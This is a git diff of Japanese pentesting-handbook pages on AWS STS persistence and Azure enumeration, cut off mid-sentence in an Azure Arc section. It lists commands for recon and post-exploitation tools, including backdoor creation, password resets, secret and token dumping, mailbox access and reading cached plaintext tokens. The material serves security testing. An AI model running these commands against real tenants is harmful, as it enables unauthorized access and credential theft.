diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index dbfd5d584..b3b98972a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -18,12 +18,12 @@ # MFAを使用する場合 aws sts get-session-token \ ---serial-number <mfa-device-name> \ ---token-code <code-from-token> +--serial-number \ +--token-code # ハードウェアデバイス名は通常、デバイスの背面にある番号、例えばGAHT12345678です -# SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/username -# 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/username +# SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/usernameです +# 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/usernameです ### Role Chain Juggling @@ -45,7 +45,7 @@ optional arguments:
PowerShellからロールジャグリングを実行するためのコード -```powershell +```bash # PowerShell script to check for role juggling possibilities using AWS CLI # Check for AWS CLI installation diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 182d3741d..708cf216e 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -22,30 +22,30 @@ AZURE 環境を監査するためには、どの **サービスが使用され - **ローカルファイル読み取り** - `/home/USERNAME/.azure` - `C:\Users\USERNAME\.azure` -- **`accessTokens.json`** ファイル(az cli 2.30以前 - 2022年1月) - **平文**で **アクセストークン**を保存 -- **`azureProfile.json`** ファイルには **ログインユーザー**に関する **情報**が含まれています。 +- **`accessTokens.json`** ファイル(az cli 2.30以前 - 2022年1月) - **アクセス トークンを平文で保存** +- **`azureProfile.json`** ファイルには **ログインユーザー** に関する **情報** が含まれています。 - **`az logout`** はトークンを削除します。 -- 古いバージョンの **`Az PowerShell`** は **`TokenCache.dat`** に **平文**で **アクセストークン**を保存していました。また、**`AzureRmContext.json`** に **平文**で **ServicePrincipalSecret** を保存します。コマンドレット **`Save-AzContext`** を使用して **トークン**を **保存**できます。\ +- 古いバージョンの **`Az PowerShell`** は **アクセス トークン** を **平文** で **`TokenCache.dat`** に保存していました。また、**`AzureRmContext.json`** に **ServicePrincipalSecret** を **平文** で保存します。コマンドレット **`Save-AzContext`** を使用して **トークン** を **保存** できます。\ `Disconnect-AzAccount` を使用してそれらを削除します。 -- 第三者が **侵害**された +- 第三者が **侵害された** - **内部** 従業員 - [**一般的なフィッシング**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html)(資格情報または Oauth アプリ) - [デバイスコード認証フィッシング](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **パスワードスプレー**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -攻撃している Azure テナント内で **ユーザーを侵害していなくても**、そこから **情報を収集**することができます: +攻撃している Azure テナント内で **ユーザーを侵害していなくても**、そこから **情報を収集** することができます: {{#ref}} az-unauthenticated-enum-and-initial-entry/ {{#endref}} > [!NOTE] -> 資格情報を取得した後は、その資格情報が **誰のものであるか**、**何にアクセスできるか**を知る必要があるため、いくつかの基本的な列挙を行う必要があります: +> 資格情報を取得した後は、その資格情報が **誰のものであるか**、および **何にアクセスできるか** を知る必要があるため、いくつかの基本的な列挙を行う必要があります: ## 基本的な列挙 > [!NOTE] -> 列挙の **最も騒がしい**部分は **ログイン** であり、列挙自体ではありません。 +> 列挙の **最も騒がしい** 部分は **ログイン** であり、列挙自体ではありません。 ### SSRF @@ -62,9 +62,9 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-met 有効な資格情報があるがログインできない場合、以下は考えられる一般的な保護です: - **IP ホワイトリスト** -- 有効な IP を侵害する必要があります -- **地理的制限** -- ユーザーの居住地や会社のオフィスの場所を見つけ、同じ都市(または少なくとも同じ国)の IP を取得します +- **地理的制限** -- ユーザーが住んでいる場所や会社のオフィスがある場所を見つけ、同じ都市(または少なくとも同じ国)の IP を取得します - **ブラウザ** -- 特定の OS(Windows、Linux、Mac、Android、iOS)からのブラウザのみが許可されているかもしれません。被害者/会社が使用している OS を特定します。 -- **サービスプリンシパルの資格情報を侵害**することも試みることができます。通常、制限が少なく、ログインがあまりレビューされません。 +- **サービスプリンシパルの資格情報を侵害する**ことも試みることができます。通常、制限が少なく、ログインがあまりレビューされません。 バイパスした後、初期設定に戻り、引き続きアクセスできる可能性があります。 @@ -75,7 +75,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-met ### Whoami > [!CAUTION] -> az cli、AzureAD、Az PowerShell の **インストール方法**を [**Az - Entra ID**](az-services/az-azuread.md) セクションで学んでください。 +> az cli、AzureAD、および Az PowerShell の **インストール方法** を [**Az - Entra ID**](az-services/az-azuread.md) セクションで学んでください。 最初に知っておくべきことは **自分が誰であるか**(どの環境にいるか)です: @@ -92,7 +92,7 @@ az account management-group list #Not allowed by default {{#endtab }} {{#tab name="AzureAD" }} -```powershell +```bash #Get the current session state Get-AzureADCurrentSessionInfo #Get details of the current tenant @@ -101,7 +101,7 @@ Get-AzureADTenantDetail {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get the information about the current context (Account, Tenant, Subscription etc.) Get-AzContext # List all available contexts @@ -124,7 +124,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user > > 同じ情報を**ウェブコンソール**で取得するには、[https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll)にアクセスするか、「すべてのリソース」を検索してください。 -### ENtra ID Enumeration +### Entra ID Enumeration デフォルトでは、任意のユーザーは**ユーザー、グループ、ロール、サービスプリンシパルなどを列挙するのに十分な権限を持っているはずです**([デフォルトのAzureAD権限](az-basic-information/index.html#default-user-permissions)を確認してください)。\ ここにガイドがあります: @@ -134,7 +134,7 @@ az-services/az-azuread.md {{#endref}} > [!NOTE] -> 現在、**資格情報に関する情報を持っている**(そして、もしあなたがレッドチームであれば、幸運にも**検出されていないことを願っています**)。環境で使用されているサービスを特定する時が来ました。\ +> これで**資格情報に関する情報を持っている**(そして、もしあなたがレッドチームであれば、幸運にも**検出されていないことを願っています**)。環境で使用されているサービスを特定する時が来ました。\ > 次のセクションでは、**一般的なサービスを列挙する方法**をいくつか確認できます。 ## App Service SCM @@ -143,232 +143,10 @@ App Service 'コンテナ'にログインするためのKuduコンソール。 ## Webshell -portal.azure.comを使用してシェルを選択するか、bashまたはpowershell用にshell.azure.comを使用します。このシェルの'disk'はストレージアカウントに画像ファイルとして保存されています。 +portal.azure.comを使用してシェルを選択するか、bashまたはpowershell用にshell.azure.comを使用します。このシェルの'disk'は、ストレージアカウント内のイメージファイルとして保存されます。 ## Azure DevOps -Azure DevOpsはAzureとは別です。リポジトリ、パイプライン(yamlまたはリリース)、ボード、ウィキなどがあります。変数グループは変数値と秘密を保存するために使用されます。 +Azure DevOpsはAzureとは別です。リポジトリ、パイプライン(yamlまたはリリース)、ボード、ウィキなどがあります。変数グループは、変数値と秘密を保存するために使用されます。 -## Debug | MitM az cli - -パラメータ**`--debug`**を使用すると、ツール**`az`**が送信しているすべてのリクエストを見ることができます: -```bash -az account management-group list --output table --debug -``` -**MitM**ツールに対して**すべてのリクエスト**を手動で確認するには、次のようにします: - -{{#tabs }} -{{#tab name="Bash" }} -```bash -export ADAL_PYTHON_SSL_NO_VERIFY=1 -export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 -export HTTPS_PROXY="http://127.0.0.1:8080" -export HTTP_PROXY="http://127.0.0.1:8080" - -# If this is not enough -# Download the certificate from Burp and convert it into .pem format -# And export the following env variable -openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM -export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem -``` -{{#endtab }} - -{{#tab name="PS" }} -```bash -$env:ADAL_PYTHON_SSL_NO_VERIFY=1 -$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 -$env:HTTPS_PROXY="http://127.0.0.1:8080" -$env:HTTP_PROXY="http://127.0.0.1:8080" -``` -{{#endtab }} -{{#endtabs }} - -## 自動化リコンツール - -### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) -```powershell -cd ROADTools -pipenv shell -roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" -roadrecon gather -roadrecon gui -``` -### [Monkey365](https://github.com/silverhack/monkey365) -```powershell -Import-Module monkey365 -Get-Help Invoke-Monkey365 -Get-Help Invoke-Monkey365 -Detailed -Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue -Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML -``` -### [**Stormspotter**](https://github.com/Azure/Stormspotter) -```powershell -# Start Backend -cd stormspotter\backend\ -pipenv shell -python ssbackend.pyz - -# Start Front-end -cd stormspotter\frontend\dist\spa\ -quasar.cmd serve -p 9091 --history - -# Run Stormcollector -cd stormspotter\stormcollector\ -pipenv shell -az login -u test@corp.onmicrosoft.com -p Welcome2022! -python stormspotter\stormcollector\sscollector.pyz cli -# This will generate a .zip file to upload in the frontend (127.0.0.1:9091) -``` -### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) -```powershell -# You need to use the Az PowerShell and Azure AD modules: -$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force -$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd) -Connect-AzAccount -Credential $creds - -Import-Module AzureAD\AzureAD.psd1 -Connect-AzureAD -Credential $creds - -# Launch AzureHound -. AzureHound\AzureHound.ps1 -Invoke-AzureHound -Verbose - -# Simple queries -## All Azure Users -MATCH (n:AZUser) return n.name -## All Azure Applications -MATCH (n:AZApp) return n.objectid -## All Azure Devices -MATCH (n:AZDevice) return n.name -## All Azure Groups -MATCH (n:AZGroup) return n.name -## All Azure Key Vaults -MATCH (n:AZKeyVault) return n.name -## All Azure Resource Groups -MATCH (n:AZResourceGroup) return n.name -## All Azure Service Principals -MATCH (n:AZServicePrincipal) return n.objectid -## All Azure Virtual Machines -MATCH (n:AZVM) return n.name -## All Principals with the ‘Contributor’ role -MATCH p = (n)-[r:AZContributor]->(g) RETURN p - -# Advanced queries -## Get Global Admins -MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p -## Owners of Azure Groups -MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p -## All Azure Users and their Groups -MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p -## Privileged Service Principals -MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p -## Owners of Azure Applications -MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p -## Paths to VMs -MATCH p = (n)-[r]->(g: AZVM) RETURN p -## Paths to KeyVault -MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p -## Paths to Azure Resource Group -MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p -## On-Prem users with edges to Azure -MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p -## All Azure AD Groups that are synchronized with On-Premise AD -MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n -``` -### [Azucar](https://github.com/nccgroup/azucar) -```bash -# You should use an account with at least read-permission on the assets you want to access -git clone https://github.com/nccgroup/azucar.git -PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File - -PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT -PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 -PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 - -# resolve the TenantID for an specific username -PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com -``` -### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) -``` -Import-Module .\MicroBurst.psm1 -Import-Module .\Get-AzureDomainInfo.ps1 -Get-AzureDomainInfo -folder MicroBurst -Verbose -``` -### [**PowerZure**](https://github.com/hausec/PowerZure) -```powershell -Connect-AzAccount -ipmo C:\Path\To\Powerzure.psd1 -Get-AzureTarget - -# Reader -$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails - -# Contributor -$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami" -$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml" -$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents -$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk - -# Owner -$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest - -# Administrator -$ Create-Backdoor, Execute-Backdoor -``` -### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) -```powershell - -#Get-GraphTokens -#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens) -Import-Module .\GraphRunner.ps1 -Get-GraphTokens - -#Invoke-GraphRecon -#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps. -Invoke-GraphRecon -Tokens $tokens -PermissionEnum - -#Invoke-DumpCAPS -#A module to dump conditional access policies from a tenant. -Invoke-GraphRecon -Tokens $tokens -PermissionEnum - -#Invoke-DumpCAPS -#A module to dump conditional access policies from a tenant. -Invoke-DumpCAPS -Tokens $tokens -ResolveGuids - -#Invoke-DumpApps -#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to. -Invoke-DumpApps -Tokens $tokens - -#Get-AzureADUsers -#Gather the full list of users from the directory. -Get-AzureADUsers -Tokens $tokens -OutFile users.txt - -#Get-SecurityGroups -#Create a list of security groups along with their members. -Get-SecurityGroups -AccessToken $tokens.access_token - -G#et-UpdatableGroups -#Gets groups that may be able to be modified by the current user -Get-UpdatableGroups -Tokens $tokens - -#Get-DynamicGroups -#Finds dynamic groups and displays membership rules -Get-DynamicGroups -Tokens $tokens - -#Get-SharePointSiteURLs -#Gets a list of SharePoint site URLs visible to the current user -Get-SharePointSiteURLs -Tokens $tokens - -#Invoke-GraphOpenInboxFinder -#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work. -Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt - -#Get-TenantID -#This module attempts to gather a tenant ID associated with a domain. -Get-TenantID -Domain - -#Invoke-GraphRunner -#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. -Invoke-GraphRunner -Tokens $tokens -``` {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 5cad1c11b..64f2093c6 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -53,7 +53,7 @@ brew upgrade powershell [**インストール手順はこちら!**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install)を参照してください。 -Azure CLIのコマンドは、次のパターンを使用して構成されています: `az ` +Azure CLIのコマンドは、次のパターンで構成されています: `az ` #### デバッグ | MitM az cli @@ -107,7 +107,7 @@ Get-AzResourceGroup -Debug ### Microsoft Graph PowerShell -Microsoft Graph PowerShellは、単一のエンドポイントを使用してSharePoint、Exchange、Outlookなどのサービスを含むすべてのMicrosoft Graph APIへのアクセスを可能にするクロスプラットフォームSDKです。PowerShell 7+、MSALによるモダン認証、外部ID、そして高度なクエリをサポートしています。最小特権アクセスに重点を置き、安全な操作を保証し、最新のMicrosoft Graph API機能に合わせて定期的に更新を受けます。 +Microsoft Graph PowerShellは、単一のエンドポイントを使用してSharePoint、Exchange、Outlookなどのサービスを含むすべてのMicrosoft Graph APIへのアクセスを可能にするクロスプラットフォームSDKです。PowerShell 7+、MSALによるモダン認証、外部ID、および高度なクエリをサポートしています。最小特権アクセスに重点を置き、安全な操作を保証し、最新のMicrosoft Graph API機能に合わせて定期的に更新を受けます。 [**インストール手順**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation)については、このリンクを参照してください。 @@ -121,11 +121,250 @@ Get-MgUser -Debug ``` ### ~~**AzureAD Powershell**~~ -Azure Active Directory (AD) モジュールは、現在 **非推奨** であり、Azure AD リソースを管理するための Azure PowerShell の一部です。これは、Entra ID でのユーザー、グループ、およびアプリケーション登録の管理などのタスクのための cmdlet を提供します。 +Azure Active Directory (AD) モジュールは、現在 **非推奨** であり、Azure AD リソースを管理するための Azure PowerShell の一部です。ユーザー、グループ、および Entra ID のアプリケーション登録を管理するための cmdlet を提供します。 > [!TIP] -> これは Microsoft Graph PowerShell に置き換えられました +> これは Microsoft Graph PowerShell に置き換えられます Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). +## Automated Recon & Compliance Tools + +### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure) + +Turbot は steampipe と powerpipe を使用して、Azure と Entra ID から情報を収集し、コンプライアンスチェックを実施し、誤設定を見つけることができます。現在推奨されている Azure モジュールは次のとおりです: + +- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance) +- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights) +- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights) +```bash +# Install +brew install turbot/tap/powerpipe +brew install turbot/tap/steampipe +steampipe plugin install azure +steampipe plugin install azuread + +# Config creds via env vars or az cli default creds will be used +export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD" +export AZURE_TENANT_ID="" +export AZURE_SUBSCRIPTION_ID="" +export AZURE_CLIENT_ID="" +export AZURE_CLIENT_SECRET="" + +# Run steampipe-mod-azure-insights +cd /tmp +mkdir dashboards +cd dashboards +powerpipe mod init +powerpipe mod install github.com/turbot/steampipe-mod-azure-insights +steampipe service start +powerpipe server +# Go to http://localhost:9033 in a browser +``` +### [Prowler](https://github.com/prowler-cloud/prowler) + +Prowlerは、AWS、Azure、Google Cloud、およびKubernetesのセキュリティベストプラクティスの評価、監査、インシデントレスポンス、継続的な監視、ハードニング、およびフォレンジック準備を行うためのオープンソースのセキュリティツールです。 + +基本的には、Azure環境に対して数百のチェックを実行し、セキュリティの誤設定を見つけ、結果をjson(および他のテキスト形式)で収集するか、ウェブで確認することができます。 +```bash +# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app + +# Launch web with docker-compose +export DOCKER_DEFAULT_PLATFORM=linux/amd64 +curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml +curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env +## If using an old docker-compose version, change the "env_file" params to: env_file: ".env" +docker compose up -d +# Access the web and configure the access to run a scan from it + +# Prowler cli +python3 -m pip install prowler --break-system-packages +docker run --rm toniblyx/prowler:v4-latest azure --list-checks +docker run --rm toniblyx/prowler:v4-latest azure --list-services +docker run --rm toniblyx/prowler:v4-latest azure --list-compliance +docker run --rm -e "AZURE_CLIENT_ID=" -e "AZURE_TENANT_ID=" -e "AZURE_CLIENT_SECRET=" toniblyx/prowler:v4-latest azure --sp-env-auth +## It also support other authentication types, check: prowler azure --help +``` +### [Monkey365](https://github.com/silverhack/monkey365) + +AzureサブスクリプションとMicrosoft Entra IDのセキュリティ構成レビューを自動的に実行することができます。 + +HTMLレポートは、githubリポジトリフォルダ内の`./monkey-reports`ディレクトリに保存されます。 +```bash +git clone https://github.com/silverhack/monkey365 +Get-ChildItem -Recurse monkey365 | Unblock-File +cd monkey365 +Import-Module ./monkey365 +mkdir /tmp/monkey365-scan +cd /tmp/monkey365-scan + +Get-Help Invoke-Monkey365 +Get-Help Invoke-Monkey365 -Detailed + +# Scan with user creds (browser will be run) +Invoke-Monkey365 -TenantId -Instance Azure -Collect All -ExportTo HTML + +# Scan with App creds +$SecureClientSecret = ConvertTo-SecureString "" -AsPlainText -Force +Invoke-Monkey365 -TenantId -ClientId -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML +``` +### [ScoutSuite](https://github.com/nccgroup/ScoutSuite) + +Scout Suiteは、手動検査のための構成データを収集し、リスク領域を強調表示します。これは、クラウド環境のセキュリティ姿勢評価を可能にするマルチクラウドセキュリティ監査ツールです。 +```bash +virtualenv -p python3 venv +source venv/bin/activate +pip install scoutsuite +scout --help + +# Use --cli flag to use az cli credentials +# Use --user-account to have scout prompt for user credentials +# Use --user-account-browser to launch a browser to login +# Use --service-principal to have scout prompt for app credentials + +python scout.py azure --cli +``` +### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting) + +これは、**管理グループと Entra ID** テナント内のすべてのリソースと権限を視覚化し、セキュリティの誤設定を見つけるのに役立つ PowerShell スクリプトです。 + +このツールは Az PowerShell モジュールを使用して動作するため、このツールがサポートする認証はすべてサポートされています。 +```bash +import-module Az +.\AzGovVizParallel.ps1 -ManagementGroupId [-SubscriptionIdWhitelist ] +``` +## 自動化されたポストエクスプロイトツール + +### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) + +ROADReconの列挙は、ユーザー、グループ、役割、条件付きアクセス ポリシーなど、Entra IDの構成に関する情報を提供します... +```bash +cd ROADTools +pipenv shell +# Login with user creds +roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" +# Login with app creds +roadrecon auth --as-app --client "" --password "" --tenant "" +roadrecon gather +roadrecon gui +``` +### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) +```bash +# Launch AzureHound +## Login with app secret +azurehound -a "" -s "" --tenant "" list -o ./output.json +## Login with user creds +azurehound -u "" -p "" --tenant "" list -o ./output.json +``` +**BloodHound** ウェブを **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** で起動し、`output.json` ファイルをインポートします。 + +次に、**EXPLORE** タブの **CYPHER** セクションで、事前に構築されたクエリを含む **フォルダー** アイコンを見ることができます。 + +### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) + +MicroBurst には、Azure サービスの発見、弱い構成の監査、資格情報ダンプなどのポストエクスプロイトアクションをサポートする関数とスクリプトが含まれています。これは、Azure が使用されているペネトレーションテスト中に使用されることを意図しています。 +```bash +Import-Module .\MicroBurst.psm1 +Import-Module .\Get-AzureDomainInfo.ps1 +Get-AzureDomainInfo -folder MicroBurst -Verbose +``` +### [**PowerZure**](https://github.com/hausec/PowerZure) + +PowerZureは、Azure、EntraID、および関連リソースの偵察とエクスプロイトを両方行うことができるフレームワークの必要性から作成されました。 + +このツールは**Az PowerShell**モジュールを使用しているため、このツールがサポートする認証はすべてサポートされています。 +```bash +# Login +Import-Module Az +Connect-AzAccount + +# Clone and import PowerZure +git clone https://github.com/hausec/PowerZure +cd PowerZure +ipmo ./Powerzure.psd1 +Invoke-Powerzure -h # Check all the options + +# Info Gathering (read) +Get-AzureCurrentUser # Get current user +Get-AzureTarget # What can you access to +Get-AzureUser -All # Get all users +Get-AzureSQLDB -All # Get all SQL DBs +Get-AzureAppOwner # Owners of apps in Entra +Show-AzureStorageContent -All # List containers, shared and tables +Show-AzureKeyVaultContent -All # List all contents in key vaults + + +# Operational (write) +Set-AzureUserPassword -Password -Username # Change password +Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC. +New-AzureBackdoor -Username -Password +Invoke-AzureRunCommand -Command -VMName +[...] +``` +### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) + +GraphRunnerは、Microsoft Graph APIと対話するためのポストエクスプロイトツールセットです。Microsoft Entra ID (Azure AD) アカウントからの偵察、持続性、データの略奪を行うためのさまざまなツールを提供します。 +```bash +#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens) +Import-Module .\GraphRunner.ps1 +Get-GraphTokens + +#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps. +Invoke-GraphRecon -Tokens $tokens -PermissionEnum + +#A module to dump conditional access policies from a tenant. +Invoke-GraphRecon -Tokens $tokens -PermissionEnum + +#A module to dump conditional access policies from a tenant. +Invoke-DumpCAPS -Tokens $tokens -ResolveGuids + +#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to. +Invoke-DumpApps -Tokens $tokens + +#Gather the full list of users from the directory. +Get-AzureADUsers -Tokens $tokens -OutFile users.txt + +#Create a list of security groups along with their members. +Get-SecurityGroups -AccessToken $tokens.access_token + +#Gets groups that may be able to be modified by the current user +Get-UpdatableGroups -Tokens $tokens + +#Finds dynamic groups and displays membership rules +Get-DynamicGroups -Tokens $tokens + +#Gets a list of SharePoint site URLs visible to the current user +Get-SharePointSiteURLs -Tokens $tokens + +#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work. +Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt + +#This module attempts to gather a tenant ID associated with a domain. +Get-TenantID -Domain + +#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. +Invoke-GraphRunner -Tokens $tokens +``` +### [Stormspotter](https://github.com/Azure/Stormspotter) + +Stormspotterは、Azureサブスクリプション内のリソースの「攻撃グラフ」を作成します。これにより、レッドチームやペンテスターはテナント内の攻撃面とピボットの機会を視覚化でき、ディフェンダーはインシデントレスポンス作業を迅速に整理し、優先順位を付けることができます。 + +**残念ながら、メンテナンスされていないようです**。 +```bash +# Start Backend +cd stormspotter\backend\ +pipenv shell +python ssbackend.pyz + +# Start Front-end +cd stormspotter\frontend\dist\spa\ +quasar.cmd serve -p 9091 --history + +# Run Stormcollector +cd stormspotter\stormcollector\ +pipenv shell +az login -u test@corp.onmicrosoft.com -p Welcome2022! +python stormspotter\stormcollector\sscollector.pyz cli +# This will generate a .zip file to upload in the frontend (127.0.0.1:9091) +``` {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index a0ac8ed31..8d355c582 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -1,20 +1,20 @@ -# Az - Arc 脆弱な GPO デプロイスクリプト +# Az - Arc vulnerable GPO Deploy Script {{#include ../../../banners/hacktricks-training.md}} -### 問題の特定 +### 課題の特定 -Azure Arc は、グループポリシーオブジェクトメソッドを使用して新しい内部サーバー(ドメインに参加したサーバー)を Azure Arc に統合することを可能にします。これを促進するために、Microsoft はオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zip ファイル内には、次のスクリプトが含まれています: DeployGPO.ps1、EnableAzureArc.ps1、および AzureArcDeployment.psm1。 +Azure Arcは、グループポリシーオブジェクトメソッドを使用して新しい内部サーバー(ドメインに参加したサーバー)をAzure Arcに統合することを可能にします。これを促進するために、Microsoftはオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zipファイル内には、次のスクリプトが含まれています:DeployGPO.ps1、EnableAzureArc.ps1、およびAzureArcDeployment.psm1。 -DeployGPO.ps1 スクリプトを実行すると、次のアクションが実行されます: +DeployGPO.ps1スクリプトを実行すると、次のアクションが実行されます: -1. ローカルドメイン内に Azure Arc サーバーオンボーディング GPO を作成します。 -2. オンボーディングプロセスのために作成された指定されたネットワーク共有に 